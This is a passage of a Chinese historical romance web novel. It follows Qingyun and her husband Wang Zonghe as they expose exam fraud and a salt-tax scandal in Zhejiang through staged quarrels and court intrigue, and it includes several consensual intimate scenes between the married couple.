清蕴坐马车容易晕,乘船倒没什么。 带上白芷和另一名懂药理的女使茯苓,随行护卫八人。一众人赁了条客船,紧随往杭州去。 ** 西湖十景秋意正浓时,船只在码头靠岸,早有人在候着,把清蕴引去落脚处。 杭州知府给王宗赫备了座三进宅院,就在贡院附近,他早五日抵达,里面一应仆从也安排好了。 管家捧着钥匙,目光在清蕴一行人身上逡巡,然后道:“大人提前安排好了,夫人住在东厢。” 白芷代问:“大人呢?” 管家笑了下,“大人住西厢。” 白芷愣住,她本意是问人在哪儿,没想到意外得知两位主子住处不在一块儿。 以三公子对主子的感情,竟会安排分房住? 清蕴从进门起就注意到这名叫朱明的管家,看他待人接物的从容,不像临时找来的,八成是哪个官员府里的管家,这几月帮忙打理这间宅院。 朱明一直在暗暗打量他们,那目光中蕴含的意味,不止是对即将照顾几个月的主人家的好奇,更别有深意。 清蕴猜测,表哥提前到达的这几天,应该发生了什么。 她作出毫不惊讶模样,平静道:“那就去东厢吧,我累了,先歇会儿。” 白芷止住好奇心,立刻在朱明带领下往东厢去。 相较京城,浙江气候更加湿润温热,这会儿没什么寒意,来往仆从都穿着轻薄布衣。东厢景致好,院子里有两棵枝繁花茂的木槿,从屋内看过去,木槿一角入窗,与白墙蓝天相和,描成一幅绝佳风景画。 朱明笑呵呵看着这位从京城而来、身份不凡的夫人,“夫人对这儿可还满意?” 清蕴淡淡扫过周遭,矜持颔首,“尚可。” “江南小意,自然比不得天子脚下的豪气风光,能让夫人说出‘尚可’二字,就是小人的福分。”朱明道,“小人暂且退下,夫人若有吩咐,遣人来说一声就是。大人一般在酉时前回,您还能歇会儿。” 朱明退下,清蕴先让白芷和疏影在屋内检查了遍,确认干干净净,没什么不该有的东西,再取出了两三件要用的衣物,剩下的依然放在行囊里。 她对二人嘱咐,“到这儿,入口的东西都要谨慎,睡觉时也要保持警醒。总之防人之心不可无,处处小心。其他护卫那儿,就由藉香你提醒。” 可能不至于用上那些手段,但谨慎些总没错。 快到酉时,下人来报消息,说王宗赫回了。 清蕴已经重新沐浴梳妆,对镜看过自己,往前院去。 王宗赫不止是一人回,随行的还有杭州知府夏宁,浙江学政周显。 两人都是四十左右年纪,前者大肚便便,后者相貌普通,目中精光闪烁。 夏宁一见清蕴,大为惊艳,待清蕴对他们微微一笑,更是看痴了。心道怪不得陛下要冒天下之大不韪,不顾陆氏的寡居之身也要强纳进宫,怪不得王侍郎宁愿得罪陛下,也要把人娶回家。 如此风流之姿,引起争夺简直不足为奇。 周显轻咳几声,恨铁不成钢地瞥夏宁。这厮平时好色也就算了,到王贞和柳文宗调教的小狐狸面前,也敢目露痴态,冒犯人家夫人。 周显刚才也有瞬间惊艳,很快就收敛了。在他心中,美人固然珍贵,可那只能是一切顺利时的锦上添花。这会儿有要事办,怎么能有心思想那些。 夏宁回神,果然见王宗赫不悦地看自己,立刻掩饰地抚须,“这位就是尊夫人吧,贤伉俪真是郎才女貌、天作之合啊。” 王宗赫微微颔首,不发一言,显得颇为冷漠。 清蕴说了几句场面上的话,得知二人身份姓名。 等上了饭桌,夏知府才发现,王侍郎冷漠可不止是因自己在门口的失态,似乎对自家夫人也有不满。 他默默和周显交流眼神,等清蕴先行离开后忍不住问,“尊夫人远道而来,只为陪伴照料大人,大人为何如此冷待?” 王宗赫:“我不喜她抛头露面。” 意思仿佛是,此行是清蕴自己非要跟来。 夏宁想了想,觉得能够理解。两人婚事的来由,官场上消息稍微灵通些的人都知道,不管王宗赫是心甘情愿主动求娶,还是迫于形势不得不娶,恐怕都不希望陆氏经常出现在人前。 一来容易引起议论,二来再碰见陛下如何是好? 这么说来,陆氏还比较任性,行事随心所欲、不服夫君管教? 虽然少了通过她来拉拢王宗赫的机会,但也能够利用这点来打探消息。 前提是,这不是夫妻俩在故意做戏。 大致有了想法,夏宁和周显离开后,都各自去做了番安排。 临时居住的宅院这儿,王宗赫正如他自己所说,对清蕴颇为冷淡。夫妻俩不仅没有住一个屋,日日见面仅限于打招呼,某日中午,清蕴去书房给他送汤时,两人还起了争执。 附近的下人隐约听到争吵声,随后是汤碗碎裂声,陆夫人气冲冲地离开。 再进去收拾时,王大人脸上添了道明显的掌印。 当日下午,王宗赫带着这掌印去夏宁等人面前转了一圈,立刻引得他们轻嘶,心道这美人着实不好消受,不听话不说,还要被打? 哪个男人能忍住这种屈辱做戏?看来两人是真的因浙江之行闹矛盾了。 当天回住处时,王宗赫明显感到,暗暗盯着自己的人松懈了许多。 月明星稀,他趁着这点光芒,在亥时正出了西厢,悄然翻进东厢的主屋。 守门的藉香几乎立刻察觉到动静,低唤了声“主子”,里面传来两声间隔的敲桌声,他定了定神,知道并无意外。 心中大致有猜测,他守远了些。 屋内,王宗赫半坐在床边,手还握着清蕴的脚,刚才可是毫不留情地踹了过来。 他低道:“真是心狠。” 他眼神意有所指瞟向自己的左脸。 清蕴:“……还没敷药?” 当时他强烈要求打重些,最好能留痕,她当然没收力道,事后手还微微泛疼。 王宗赫:“等动手的人来敷。” 清蕴取了药膏过来,指尖才沾上凉沁沁的碧玉膏,就被他攥住腕子往床帏深处带。 察觉他意图,清蕴挣了挣,轻声,“松手,仔细明早肿成寿桃。” “不怕,反正他们今天也看过了,左不过明天再议论你的狠心。”多日忍着没抱她,王宗赫今晚来,就没打算说两句话走。 他偏头,舌尖卷过她指尖药膏,“夫人白日里耍了威风,夜里还请多施舍些雨露。” 清蕴本就知道他的想法,但听到这句过于下流的话还是忍不住脸色变红。 要不是双手都被攥着,她恨不得往他右脸也来一道。 以前那个老成持重、不苟言笑的三哥到底去哪儿了。 ………… 更漏到了丑时,王宗赫把昏昏欲睡的人裹进被褥,收拾好床榻,和来时一样,悄无声息地离开。 他没有立马入睡,而是召来疏影,询问他最近所探。 疏影说浙江这边还没有查出具体动作,但随行的四名锦衣卫倒是有不寻常之处。 “哪里不寻常?” 如果仅仅是皇帝的探子,还不至于用上这个词。 疏影眼神复杂,“人经不住拷问全交代了,主子自己看吧。” 接过疏影递来的纸,王宗赫一目十行翻过,目色愈冷。 原来如此,这名唤吴三的锦衣卫表面为天子近卫,实则暗中为远在西南一带的李审言效力。 说起来不奇怪,李审言曾为旗手卫校尉,和锦衣卫的人自然熟悉,暗中收买几个不算难事。 让疏影神色复杂的,恐怕是吴三交代出,在王宗赫和清蕴成婚当天,李审言私自回过京城。且他们到浙江后,吴三还传过一些消息去。 即使吴三不清楚他进京后是为了何事,即使不知清蕴守孝三年中叔嫂二人发生过什么,王宗赫也猜得出他当晚到底去了哪。 定是去见清蕴。 无怪那晚,他始终觉得清蕴神色有些许异样,恐怕是见过了李审言。 脑海中想得明明白白,胸中隐约有火焰燃烧,很快就被王宗赫强行压了下去。 他平静道:“人不能再留,找个方法处理了。” 齐国公一去西南,就迅速掌了兵权。看西南传回来的战报,基本可以肯定战况都在其掌控之中,王宗赫对这位国公爷的意图早有揣测。不管齐国公是不是他想的那样,不管李审言遣人是不是为了打探清蕴的消息,他都不会把隐患留在身边。 况且…… 王宗赫抬首,望向西南天际,似乎和千里之外那双鹰目隔空对视。 李审言此人狠辣莫测,如果他当真存了那种心思,但有机会,他也不会留其性命。 第75章 他是我的人 李审言连夺三次登城首功, 在一众将领求情下,终于再次得到重用。齐国公没让他再领骑兵,而是进入先锋军,凡有两军对峙, 都必须冲在最前。 齐国公对亲儿子都这么狠得下心, 其他人实在没什么好说。 此时离李审言私自进京已经过去了三月。 军中沐浴不方便, 大多数人都是等驻扎时找附近的河流、湖泊或井水洗一洗。西南一带气候偏热, 往深秋走也不见寒,李审言一连忙了五六天, 闭眼的功夫都没有,感觉浑身都被腌入味儿了,终于抽空提了几桶水冲洗。 随手抹把脸,浑身湿漉漉地回帐,里面早等了一人。 瞥一眼他, 李审言毫不奇怪地到桌前喝水。懒得一杯杯喝, 直接提壶灌。 来人摇头,“李统领行事太过豪放,在军中还行, 来日离了军营可不能再这么不拘小节,寻常姑娘看见都要被吓跑。” 他姓孟名嘉,和兵部尚书孟集同族,勉强攀得上关系。但自家早就没落, 科举也一直不顺, 就趁这次出兵, 谋了个机会。 孟嘉身手一般, 自保尚可,杀敌就算勉强了。李审言对这种角色自然看不上, 是孟嘉主动找到他,说可以为他出谋划策。 此前齐国公和谢青天打擂台,就是孟嘉建议他,可以借齐国公受罚时机杀死谢青天。一来他是齐国公之子,出于孝心护父,别人顶多说他一声莽撞。二来可以光明正大除掉谢青天,还可以博得将士们的好感。 孟嘉的判断很准,事后齐国公明面上罚了他一顿,但李审言能感觉到老头子对自己此举的欣赏和赞叹。 他亦读兵法,真正锻炼的时候少,孟嘉可以从旁弥补他的不足。所以杀了谢青天后,李审言就把人要到了身边。 之前他去京城,孟嘉怎么拦都拦不住,事后见他受重罚,摇头叹气了好一阵,再帮他谋划重新得重用的事。 老头子有异心,李审言也是在孟嘉拐弯抹角的提醒下意识到。 因此,对孟嘉的调侃,他不会发怒,但也懒得搭理。 孟嘉微微敛笑,知道李审言还是不会告诉自己去京城的真相,只能靠自己去猜。 孟嘉说起正事,“浙江那边的消息断了。” 李审言动作微滞,在孟嘉的提醒下想起浙江最后一封信的内容。 吴三详细汇报了浙江官场之事,还道陆夫人紧随王侍郎的步伐南下浙江,夫妻俩却因此闹了矛盾,爆发出激烈争吵,只不清楚真假。 吴三不知,李审言很肯定这是假的。 没其他原因,陆清蕴那人惯要体面,总是表现得从容不迫,怎么可能会当着别人的面和自己名义上的丈夫争吵,让人看笑话? 如果两人真闹了不愉快,她更可能的做法是私下不动声色地找准症结,默默解决。明面上,众人看到的依然是夫妻俩的恩恩爱爱,这才是她的风格。 更何况,王宗赫一直爱慕她,在她面前恐怕早被训成了狗,怎么可能舍得和她争吵。 李审言毫不客气地在腹中奚落某人。 虽然,当初收到信的瞬间,他也想过这会不会是真的,进而生出微妙的窃喜。 掩饰住失神,李审言道:“可能被耽搁了。” 孟集:“如果只是被耽搁了还好,如果是浙江那边出了事,王侍郎身处危险,就不妙了。” 李审言眸子黑沉,“他出事与我们何关?” 他巴不得王宗赫有意外。 孟嘉暗中观察,对那个猜想愈发肯定,不然面前人不会对王侍郎有那么大敌意。 孟嘉道:“李统领可知道,如今国公爷和王家,几乎等同于一荣俱荣、一损俱损?” 李审言猛得看他。 孟嘉耐心地从那桩婚事说起,把两家暗中共乘一船的理由说得清清楚楚,并道:“王家虽有不少人为官,但如今六部唯有王侍郎一人。他深得柳阁老信任,有机会入阁。可以说,他若出事,便是牵一发而动全身。” 李审言沉默不语,孟嘉再道:“谢云天此人报复心极强,王家势力一退,他就能腾出手来对付这边了。” 李审言冷淡,“相隔千里,我们又能做什么?” 孟嘉:“所以我大胆问一句,李统领在那边,是否还留有余手?” ** 秋雨敲打窗棂的声音渐渐急促起来,清蕴站在檐下,望着院中那两株木槿被雨水打得枝叶乱颤。 已经开考了,王宗赫这几天要和考生一起被锁在贡院,禁止出入。 前几天,司礼监的人快马加鞭赶到浙江,传来圣旨,说陛下要在浙江加考《盐铁论》策论。当时那群人脸色各异,有些忍不住当场就开始眼神交流。 清蕴猜测,他们可能以为这是王宗赫暗中递了折子,让朝堂那边临时加题,以打乱浙江布置。 但清蕴知道,三哥从没有做过这个安排,只能是建帝自己心血来潮。 她曾询问他,是否有什么可以帮忙,王宗赫只叫她不必担心。 来浙江一趟,除去和王宗赫做了场戏,在那些夫人们来打探口风时反套了些话,从而推出一些打算以外,清蕴感觉自己就没什么事了。 像王宗赫最初说的那样,就当是来这里游山玩水。 她心中有微妙的不快。 大抵是骨子里的掌控欲和未雨绸缪的危机感作祟,事情没摆到面前就算了,如今危机是两人共同面对,她更想弄清楚前因后果,掌握全局,而不是纯粹被他保护在身后。 可三哥行事有章程,对官场的事考虑也定会更周全。 清蕴当然有办法让他告诉自己,但眼下还没必要对他使手段。 如果是李秉真…… 李秉真从不会避忌和她谈官场上的事,还会主动给她分析局面,让她明白危险。 清蕴最初对朝堂利益关系几乎一无所知,从李秉真那儿才知道,原来齐国公府一直处于如履薄冰的形势。 慢慢的,她才开始通过李秉真和彭掌柜打听一些官场上的事,如此遇事就能够提前做准备。 眼看雨小了,清蕴叫来白芷,“出去逛逛吧。” 带上藉香,主仆三人在朱明的眼中去了最繁华的街市游玩。等进入人群,他们很快就去了彭掌柜所在之处。 清蕴待了大半天,从彭掌柜这儿得知了一些消息,再随便采买些东西回到住处。 开考的这几天,她基本都是如此度过,早出晚归,带回一堆珠宝绸缎和玲珑珍馐,一副玩得不亦乐乎的模样。 等秋闱结束,她买的东西已经堆了大半个屋子,不得不现在就开始托人提前运回去。 王宗赫回来时,清蕴仍在清点物件,听见声音走出去。 皂靴踏碎水洼,官袍下摆沾着几星泥点,王宗赫在看到她时微顿。 朱明不在这儿,都是自己人,他几步上前,准备抱一抱清蕴,又想起几天没沐浴,忍住了。 “这几天怎么样?”清蕴先问他。 王宗赫:“还好,没出意外。” 和清蕴肩并肩进房,他随口问起她这几天如何度过。 夫妻俩聊了会儿,见下人把水备好,王宗赫道:“我先沐浴,等我一刻。” 察觉到他几度想亲近又克制的模样,清蕴含笑,“不急,我去让人备些点心。” 看着王宗赫把衣袍搭在屏风,清蕴上前帮他整理,走动间,不期然掉出一封信。 信拆封过,保留着半边火漆,应是封密信。 王宗赫听到动静,想起袖囊中放了何物,出声道:“信还有用,放桌上就好。” 他信任清蕴,在她面前不小心就忘了此事。如果是其他人,压根就不能知道这封信的存在。 外间,清蕴看着信纸一角露出的“蓟州军异动”几字,“三哥,我可以看信吗?” 沉默了会儿,传来王宗赫一如既往的声音,“嗯,可以。” 清蕴取出信,一字一句看下去。 雨势愈急,内外两人都听不到彼此的动静。 一刻钟后,王宗赫带着浑身水汽准点出净房。 小几上摆了茶水点心,清蕴坐在旁边,那封信被塞回了信封。 扫一眼清蕴,看不出神色异样。王宗赫披上外袍,上前抱住她,先在额头吻了下,再坐到旁侧,慢条斯理喝了杯热茶。 拿出信又看了遍,他道:“稍后我去写回信。” 清蕴问:“你要动蓟州军?” 王宗赫嗯了声,“蓟州军贪墨军饷证据确凿。” 清蕴:“所以要拿陈危开刀?” 王宗赫意识到了她的重点。 清蕴垂眸,“三哥好手段,借浙江科场舞弊掀开盐税旧案,再顺藤摸瓜攀咬蓟州驻军。待彭将军那边的人下狱,你就可以安排柳阁老的门生接管兵权,一石三鸟。” 她分析得如此透彻,倒叫王宗赫深深吃了一惊。表妹聪明不假,可什么时候,对朝局的事也能看得这么清? 思索了下,他道:“我知道陈危以前在你身边待了很久,但他先是效忠齐国公,如今又在彭宗手下效力,和他们牵扯太多,两者勾连甚深,所以……” 他本来没想让清蕴知道这事。 清蕴:“我不同意。” 王宗赫微怔。 清蕴继续道:“我不同意拿陈危的命来填,他是我的人。” 什么叫“是我的人”?王宗赫还没来得及思索这句话的深意,先一步道:“他是最合适的人选。” “谁都可以,唯独陈危不可以。”清蕴仍是很平静的语气,“如果三哥坚持,我只能提前让他回来。” 雨声吞没了尾音。王宗赫望着清蕴发间微微颤动的步摇,忽然想起大婚那夜她也是这样挺直脊背。喜秤挑起盖头时,满室烛光都不及她眼底星火明亮。 他声音发涩,眼神幽暗不明,“我本以为,陈危只是你曾经得用的人。” 清蕴如此坚决是他万万没想到的,陈危在她心中居然有这么重要的地位。 清蕴不语,继续看他。 穿堂风卷着雨丝袭来,王宗赫伸手碰到清蕴冰凉的指尖,她动了下,到底没真正缩回去。 布置已成,改一环,就要接连改许多环。 “我再想想。”王宗赫道,“但你要给我理由。” 第76章 无论如何,现在人在他身边 “从江苏到王家, 陈危一直陪在我身边。十几年过去,他于我而言早就不是简单的下属,而是亲人。我知道他的无辜,不想眼睁睁看他为官场博弈赔上性命。”清蕴直视王宗赫, “这个理由, 三哥满意吗?” 王宗赫:“仅仅是因此?” “仅仅是因此。” 王宗赫指节叩在案上, 青瓷盏里茶汤泛起涟漪, “这件事,你只求这个?” “只求这个。”清蕴迎着他的审视, “我只想保他。" 空气凝固片刻,王宗赫忽然扯开唇角:"好。" 紧绷的弦骤然断裂,清蕴上前环住他脖颈。松香气息漫入鼻腔时,她听见自己轻轻的叹息:"打乱三哥布局,实在对不住。" "无妨。"温热手掌抚过她后颈, "还在掌控中。" 这是清蕴难得的主动, 就像在做夫妻之事时,她常以配合居多,在情潮难耐时才会流露出一丝别的情绪。 现在的拥抱, 也不是因为对他有多么喜爱,而是因为另一人的安危。 俯首亲吻清蕴发丝时,王宗赫目光暗沉。 他当着清蕴的面写了封回信,写好后放在桌上, “可要看一看?” 清蕴:“不必了, 我相信三哥, 你答应的事从来都会做到。” 王宗赫微微颔首, 交给疏影,让其安排加急送回。 天色已晚, 夫妻俩用过晚饭后就歇下了,王宗赫这晚没回西厢,光明正大在清蕴这儿留宿。 时辰尚早,才新婚几个月的夫妻自是不会这么快睡的。 烛芯爆出微响,帐幔无风自动。 王宗赫解开清蕴中衣,他用了三分巧劲,不小心就传来裂帛声,像细雪簌簌落进深潭。 指尖划过锁骨时,清蕴轻轻战栗——他的手指有点凉,蜻蜓点水地掠过时,又像羽毛,带着一点痒。 腰间力道骤然收紧,清蕴仰被迫颈,望见帐顶在晃动,隐隐的金线在烛火里泛着碎光,“三哥,慢些……” 话未说完就被更深地楔入打断。 王宗赫俯身,以往他总是克制又热情地吻她,此刻却流连在颈侧迟迟不肯碰那抹朱唇,只力度越来越大,清蕴感觉自己快被做散架了。 “三哥……”她不是不能服软的人,感觉到他的激烈,就放轻了声音。 这个熟悉的称呼让王宗赫喉结剧烈滚动,突然掐着她的腰翻过身,适当减慢动作。 ………… 帐外烛火渐弱时,王宗赫仍握着清蕴的脚踝不肯松。月白绸袜早不知丢在何处,他拇指按在踝骨凸起处反复摩挲,像把玩一块温润的玉。清蕴蜷着身子想歇息,却被他用外袍裹住打横抱起。 “三哥?” “嗯。”他边应声,边抱着她走向西窗下的贵妃榻。 夜风卷着不知名的花香穿帘而入,清蕴后背触到冰凉的湘竹席面时轻哼出声,旋即被带着薄茧的手掌托住。 他帮忙揉着腰,低声道:“我今晚有些失了度,可有伤着?” 清蕴:“没有,倒是你肩头……流血了。” 感官带来的快乐太猛烈时,会让人生出灭顶之灾将覆的恐慌。所以在那瞬间,她咬住了王宗赫肩头,咬得极其用力,让他当时闷哼了一声,仍没停下动作。 现在看过去,左肩都红了一块。 清蕴清楚,表哥在向自己要理由时,想知道的不是那句简单的话,而是更深的原因。 他察觉到她没说实话,忍住了没质问。 在床事上才不由失控。 清蕴承认自己在利用他的感情,虽不觉得有错,但此事毕竟是她为难表哥。 示意他松开自己,清蕴赤足去柜中取药,回身解开他中衣,为他细细擦药。 月光浸透窗纱,清蕴披散的青丝泛起霜色流光。 王宗赫盯着她低垂的睫毛,在眼下投出轻盈小扇般的阴影,沉静温柔。 他忽然想起当年初见,她也是这样垂着眼睫给受伤的鸟雀包扎。祖母一见就流了眼泪,说清蕴和她母亲一样,是极其柔软心善的性子。 他知道她心善,思虑又多,下人做事出了差错都不忍心苛责。一直以来,都觉得她需要人保护。 可傍晚两人对视时,他意识到表妹其实并不算柔软,而是极其坚定的。 就像那时候她选择嫁给李秉真,根本不曾动摇。 既引人深陷,又有种捉摸不定之感。 但无论如何,现在人在他身边。 “当年你救那只鸟。”王宗赫突然出声,“也是这样的神情。” 清蕴微怔,“什么神情?” 王宗赫:“好像它命不久矣。” 清蕴失笑,“三哥说得我好像很没用。” 她都不记得自己会因一点伤口就慌乱不已。 王宗赫也笑了下,低头吻去。 清蕴双手揽在他脖间,后背抵上冰凉的椅沿,这点凉意,很快就被滚烫的吻带走了。 ** 秋闱结束,接着就是阅卷。 凡科举大考,所有答卷被收上去后会即刻糊名,由近百名书手用馆阁体誊抄,原卷存档。 王宗赫作为主考官,每天主要是等同考官们把考卷定等次后,再随机抽取查阅,定优等次的则需要重点查看。 按理来说他的事不算杂,目前任务也不重,但他却开始早出晚归,比刚到浙江时还忙,有时候整夜都不能回。 清蕴知道他忙的不止是科举,应该和那封信说的一样,在部署盐税旧案的事。 不管建帝或浙江这儿在科举上有什么安排,盐税旧案一翻,注定引起更大震动。 从陈危的汇报来看,蓟州总兵彭宗和齐国公私下关系不简单。如果蓟州那边也要受牵连,不知战况会不会受影响。 清蕴脑海中浮现前公爹的身影。 不管他在男女感情上有多少让人诟病之处,清蕴一直都把他和大长公主当做长辈敬重。 况且,从家国大事来说,他也值得尊敬。 难得一同用午饭,等用得差不多时,王宗赫忽然道:“考卷出事了。” 清蕴:“……嗯?” 王宗赫:“数十份策论开篇都引着同样的骈句——盐铁之利,佐百姓之急,足军旅之费。” 清蕴想了下,“这不是《盐铁论》的原句吗?” 既然加考了《盐铁论》,考生引用这句话作为开篇也正常。 王宗赫露出不经意的笑。 这下连清蕴好奇心都被勾起,美目微转,帮王宗赫添了碗汤,作出侧耳倾听的模样,“还请王大人解惑。” 被她这故意的模样逗得眉头微动,王宗赫不再卖关子,“当初司礼监来临时加题,加的是《平准书》,而非《盐铁论》。” 清蕴愣了会儿,脑海中快速思索,才明白过来王宗赫是怎样破局和设局。他竟当着那么多人的面,改了题! 且改题后,又在考试时用回了原题。 其实但凡是真正考试的人,多看几眼题目,不管之前有没有被泄题,都不会写出这么离谱的开篇。除非那答卷是本就准备好的,且应试之人极为傲慢,看都没看一眼考卷,就把答卷放了上去。 极为简单的法子,炸出了一些蠢鱼。 清蕴问,“三哥应该都查过了那些人的身份吧。” “不错。”王宗赫道,“都是当地士族之后。” 诚然,他可能会因换题的事被罚,但和即将扯出的浙江科举大案和盐税旧案相比,那些都算不了什么了。 到这儿清蕴终于明白,可能在来浙江之前,王宗赫和柳阁老他们就定下了各种应对的计策,不然不可能准备如此充足,游刃有余。 她想清楚后不免讶然,“三哥平时不是不习惯和我说这些?” 两人成婚几个月,王宗赫和她聊公务的时候少之又少。 王宗赫:“感觉你会感兴趣。” 清蕴有些许失神。 王宗赫起身,和清蕴到屋外走了几圈,最后准备去书房时回身,“可要一起?” 清蕴看了他一眼,轻轻点头。 接下来的几天,夫妻俩有空都会一起用饭,王宗赫去书房处理公务时,也会邀清蕴一道。 清蕴大部分时候在旁边静静看书,偶尔会帮他研墨,遇见了精彩文章,夫妻俩共同赏评。 暮色四合,王宗赫的笔在奏本上悬了半刻,墨迹终究没有落下。 他抬眼望向窗边,清蕴正执卷倚在紫檀嵌玉的玫瑰椅上,素白指尖划过泛黄的纸页,发间白玉簪流转出温润光泽。 “猗猗。”他忽然出声。 “三哥要添茶?”清蕴抬眸询问。 他抽出压在砚台下的密报递过去,“盐运使司的账目,你怎么看?” 说完解释,“你手下的彭掌柜极擅经商,账目上的事,你也许比我更清楚。” 寻常行商和盐运的账肯定不同,但做账这种事,万变不离其宗。清蕴很早就开始打理店铺,到齐国公府后又执掌中馈几年,说起看账,确实有心得。 她没做保证,也没有过于谦逊,先接过信纸仔细看起来。 许久,她终于出声,“账面平得太过漂亮。” 王宗赫:“为何?” “去年七月飓风毁了三处盐场,官盐产量却不减反增。”她指尖点在“临海县”三个字上,“这里报的修缮款项,够重建十座盐仓。” "但所有经手文书都在一次天火中烧毁了。"王宗赫沉声,“如今要查,太刻意。” 确实如此。 窗外传来簌簌落叶声,清蕴忽然放下纸,“三哥可记得元狩四年的盐铁会议?桑弘羊与贤良文学六十余人当庭论战,最终靠的不是账本,而是人心。” 王宗赫认真看她,“继续说。” “秋闱放榜在即,何不以庆贺之名设经筵讲会?”清蕴微微一笑,“请两浙盐商与中举士子共论盐铁之策,让该说话的人……自己开口。” 王宗赫静思良久,突然握住她手腕。 “当年谢韫之献策诛杀叛王,用的也是这种阳谋。”他道,“如果女子能够为官,定有你的一席之地。” 清蕴仅含笑,对他的话不做评价。 接着,夫妻俩就这件事又谈论了会儿,定好大致的应对之法,再一起回屋。 现在他们已经不再分房住了。 深夜时分,王宗赫起身喝茶,回榻边看见清蕴侧对自己的睡颜,静谧平和。 他有意拿盐运的账目询问清蕴,是想知道,她只对和自身有关的事好奇,还是对朝堂的事都感兴趣。 事实证明,清蕴是后者。 曾经的清蕴淡泊如水,不在乎权与名,如今似乎和以前大不一样了。 是李秉真带给她的改变吗?还是因险些被强纳进宫一事,让她意识到权力的重要性? 他自诩算尽人心,却连自己妻子眼底的雾霭都看不穿。 但如果这雾霭深处藏着惊涛骇浪,他甘愿做那艘被吞噬的船。 第77章 皇帝“为爱殉情” 王宗赫怎么想清蕴不清楚, 即使知道了,她也不觉得自己有多大野心。 充其量是想拥有一些让自己安稳生活的能力,在这其中,无论钱财还是权力, 都只是达到目的的手段。 三哥对她保护欲太强, 因为以前的印象, 觉得她会喜欢和习惯从前未出阁时的生活, 对她总是报喜不报忧。 想到这点,清蕴才往前迈了一步。 事实证明, 效果不错。 接下来一段日子,王宗赫主要在整理证据,再暗中送去京城。 秋闱放榜后,王宗赫主持召开了经筵讲会,邀请巡抚、盐运使等官员和盐商、中举士子赴会, 清蕴和他一起。 夫妻俩没有同座, 清蕴和盐运使朱罕的夫人石静坐在一块儿。 朱罕一脸凶相,行事作风也阴狠,极为爱财。王宗赫本不想留他, 清蕴却觉得他是个人才,倘若能收为己用,接下来就能事半功倍。 清蕴拜托彭掌柜查过朱罕的后宅,从中看出了些门道, 认为要劝他或拿捏他, 从其夫人石静入手最合适, 所以今晚主动来参宴。 石静是寡言少语的性子, 全程没怎么开口,默默看着宴上情况。 她拨着茶沫, 忽听身侧传来一声轻叹。 “听说朱大人家的大公子,上月刚中了秀才?”清蕴聊家常,“我们家侄儿也在白鹿书院进学,前日家书里提了件趣事——今年京中弘文馆竟空出三个荐生名额。” 石静拨茶的手一顿。 清蕴:“弘文馆掌院与我祖父有师生之谊,上月来信还说,最喜聪慧知礼的少年人。” 话里的意思十分明显。 “夫人说笑了。”石静放下茶盏,“犬子愚钝,怎敢肖想弘文馆的位子。” “愚钝未必不能开窍。”清蕴抬眸,“就像去年临海盐场那场火,烧得蹊跷,偏巧工部存档的图纸也毁了——”她点着茶汤,在案几画出波浪纹路,“可海浪卷不走真账本,您说是不是?” 石静瞳孔骤缩。 堂中传来士子们激昂的辩论声,更衬得这方寸之地死寂。 清蕴笑了下,“雷霆雨露皆是君恩,可这雨要落在谁家田垄,总归要看风向。石夫人,你说是不是?” 石静盯着清蕴,仿佛从这温和的笑意下看到冰冷的威胁。王侍郎的这位夫人,可绝不像其他人说的那样,仅有美貌。 见她终于正视自己,清蕴稍微靠近,和她又耳语了几句。 石静微微皱眉,接下来,清蕴没再和她说话,她也愈发沉默。 宴会结束前,她找朱罕说了会儿话,随后夫妻俩特意把清蕴和王宗赫送到马车前。没说旁的话,王宗赫已明白表妹的“好言相劝”生效了。 他往后看了眼那俩人身影,“朱罕出了名的贪花好色,竟会如此听夫人的话。” 清蕴:“他能走到今天,全靠夫人点拨,感情如何已经不重要了。” 石静于他,更像是军师般的存在。 王宗赫看着闭目养神的清蕴若有所思,随后伸手把她揽来,让她靠着自己休息。 清蕴自发找了个更舒服的位置。 经筵讲会过后,盐税旧案正式被翻出,浙江官员渐渐发现王宗赫的意图,敌意极深。如果不是碍于他背后的王家和柳阁老,他可能早就被悄无声息地留在了浙江。 期间也遇到过一次危险。 大概是得知他手中握有盐税旧案和科举舞弊的证据,又不知他已经暗中送去了京城,周显准备铤而走险,在王宗赫从贡院回住处的途中派杀手埋伏。 清蕴从一封摆在窗口的密信中得知了此事,再告诉王宗赫。他顺势就计,抓住人后从其口中拷打出周显谋害朝廷命官的证据,提前让锦衣卫把人押送进京。 有了这出杀鸡儆猴,接下来就没再遇到性命攸关的困境。 至于那封密信的主人,王宗赫说他心中大致有人选,让清蕴不必操心,自己会去感谢此人。 在浙江待的日子临近尾声,趁着放晴,清蕴吩咐人理东西,绸缎珍玩摆了满院,大都是这段时日在浙江采买的,其余则是彭掌柜和部分官员的人情往来。 王家所有人,宫中李贵妃、淑妃,齐国公府太夫人,柳晚、夏琳等人,清蕴各自都准备了一份合适的礼物。这会儿在分类贴条子,让人提前带回去。 捏起一对红宝石耳坠,清蕴唤来白芷,在她耳边比了比,笑道:“你肤色白,戴这个果然很好看。” 白芷愣了下,反应过来这是给自己买的,“谢谢主子。” 她不擅长讨巧的话,却让清蕴很放心,交给她锦盒,“里面有两个镯子和一些金银,是你和茯苓的,待会儿你们分了吧。” 随后再唤来藉香,给他的是银子,“我不清楚你的喜好,你就自己去置办吧。” 又陆陆续续给身边人各自赏了东西。 王宗赫回来后本略带沉重,见所有人都喜气洋洋的模样,先问:“今天是什么日子?” 清蕴:“是三哥生辰啊。” 王宗赫愣住,他真忘了这事。 除去特殊岁数,王家都不怎么注重生辰,每年顶多给他单独做碗长寿面,母亲和妹妹才会准备礼物。 至于他的生辰为什么会给其他人赏东西,王宗赫觉得,清蕴应该就是找个理由,或者觉得这段时间辛苦,想犒劳下他们。 这方面,她想得比他周到。 他想了想,选择先吃晚饭,不然她恐怕都没心情。 摆饭时,桌上果然多了碗长寿面。 王宗赫要来另一个小碗,看着他开始夹面,清蕴才意识到他要做什么,“长寿面是整根,夹断了寓意不好,三哥自己吃吧。” 王宗赫:“本就不可能整根吃,咬断或夹断,没有区别。” 他不信这些,清蕴也就不坚持,和他共飨了这碗面。 吃过面,王宗赫才取出京中来信,“有个消息,思来想去,还是该告诉你。” 他很少有这种犹豫的时刻,仿佛一说这则消息,清蕴就会如何。 她认真看过去。 “宫里出了一些事,差事办完后,应该没时间游玩了。” 清蕴第一反应是建帝吃丹药终于出了问题,但他的神色显然不是,接着想到许多事,“……是哪位娘娘出事了?” 王宗赫:“李贵妃,薨了。” 李贵妃产子走的就不是寻常路,情急之下被大长公主剖腹取出的皇子,后来再用缝补衣物的法子把皮肉合上。 保住了一条命,也让原本就柔弱的她身体状况每日愈下。 